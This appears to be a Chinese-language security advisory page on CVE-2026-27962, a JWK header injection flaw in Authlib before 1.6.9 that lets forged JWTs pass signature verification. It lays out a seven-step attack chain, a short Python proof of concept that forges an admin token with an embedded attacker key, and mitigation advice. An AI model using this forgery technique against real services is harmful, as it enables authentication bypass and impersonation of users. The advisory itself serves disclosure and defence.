IPBUF安全漏洞报告
English
CVE-2026-27962 CVSS 9.1 严重

CVE-2026-27962 Authlib JWK Header Injection漏洞允许伪造JWT令牌

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-27962
漏洞类型
JWT伪造/身份验证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Authlib (Python OAuth/OpenID Connect库)

相关标签

JWT伪造身份验证绕过Header InjectionAuthlibOAuthOpenID ConnectCVE-2026-27962Python

漏洞概述

Authlib是一个用于构建OAuth和OpenID Connect服务器的Python库。该库在1.6.9版本之前存在一个严重的JWK Header Injection漏洞,存在于JWS实现中。漏洞允许未经身份验证的攻击者伪造任意JWT令牌,这些令牌可以通过签名验证。当将key=None传递给任何JWS反序列化函数时,库会提取并使用嵌入在攻击者控制的JWT jwk header字段中的加密密钥。攻击者可以使用自己的私钥对令牌进行签名,将匹配的公钥嵌入到header中,然后让服务器将伪造的令牌接受为加密有效,从而完全绕过身份验证和授权机制。该漏洞影响所有使用Authlib处理JWT的应用,尤其是那些依赖JWT进行身份验证和授权决策的系统。CVSS评分高达9.1,属于严重级别漏洞。

技术细节

该漏洞的根源在于Authlib的JWS (JSON Web Signature) 实现中的不安全密钥处理。当调用JWS反序列化函数(如verify_jws或decode_jwt)时,如果传入的key参数为None,库会自动从JWT的header中提取jwk字段中嵌入的公钥。攻击流程如下:首先,攻击者生成一对RSA/ECDSA密钥对;然后,使用自己的私钥对payload进行签名,将公钥以JWK格式嵌入到JWT的protected header中;最后,将伪造的JWT发送到目标服务器。由于服务器在key=None时会使用header中的公钥进行验签,而该公钥正好匹配攻击者的私钥,因此验签通过。攻击者可以任意构造payload(如设置admin: true或更改user_id),从而获得管理员权限或冒充任意用户。此漏洞影响所有使用Authlib < 1.6.9版本且在JWT验证时允许key=None的应用。修复版本为1.6.9,修复方式是在key=None时不再自动从header提取密钥。

攻击链分析

STEP 1
步骤1
攻击者首先生成一对RSA/ECDSA密钥对,用于后续签名和验证
STEP 2
步骤2
攻击者构造恶意JWT payload,设置攻击者想要的身份信息(如admin:true或任意用户ID)
STEP 3
步骤3
攻击者将生成的公钥以JWK格式嵌入到JWT的protected header中,设置alg为对应的算法(如RS256)
STEP 4
步骤4
使用攻击者自己的私钥对payload进行签名,生成完整的伪造JWT令牌
STEP 5
步骤5
将伪造的JWT发送到目标服务器,服务器在验证时传入key=None参数
STEP 6
步骤6
漏洞代码从JWT header中提取jwk字段的公钥,并使用该公钥进行签名验证
STEP 7
步骤7
由于公钥匹配攻击者的私钥,签名验证通过,攻击者获得伪造的身份权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-27962 PoC - Authlib JWK Header Injection This PoC demonstrates how an attacker can forge arbitrary JWT tokens that pass signature verification in vulnerable versions of Authlib. """ import json import base64 from jwcrypto import jwk from authlib.jose import jwt # Generate attacker key pair key = jwk.JWK.generate(kty='RSA', size=2048) private_key = key.export_to_pem(private_key=True) public_key_jwk = json.loads(key.export_public()) # Create malicious payload (attacker wants admin access) payload = { 'sub': 'attacker', 'admin': True, 'iat': 1700000000, 'exp': 1700100000 } # Forge JWT with embedded public key in header # This is the key exploitation technique header = { 'alg': 'RS256', 'typ': 'JWT', 'jwk': public_key_jwk # Embed attacker's public key } # Sign with attacker's private key # In vulnerable version, when key=None is passed to decode, # the server will use the embedded jwk for verification forged_token = jwt.encode(header, payload, private_key) print(f"[+] Forged JWT Token: {forged_token}") print(f"[+] Payload contains admin=True, signed with attacker's key") print(f"[+] Target server will accept this token if it passes key=None") print(f"\n[+] Exploit successful - Authentication bypass achieved")

影响范围

Authlib < 1.6.9

防御指南

临时缓解措施
如果无法立即升级Authlib,应立即修改所有JWT验证代码,禁止使用key=None参数。必须使用预先配置的、受信任的密钥进行JWT签名验证。同时,可以临时在应用层添加检测逻辑,拒绝包含jwk header字段的JWT请求,并记录相关安全日志进行监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表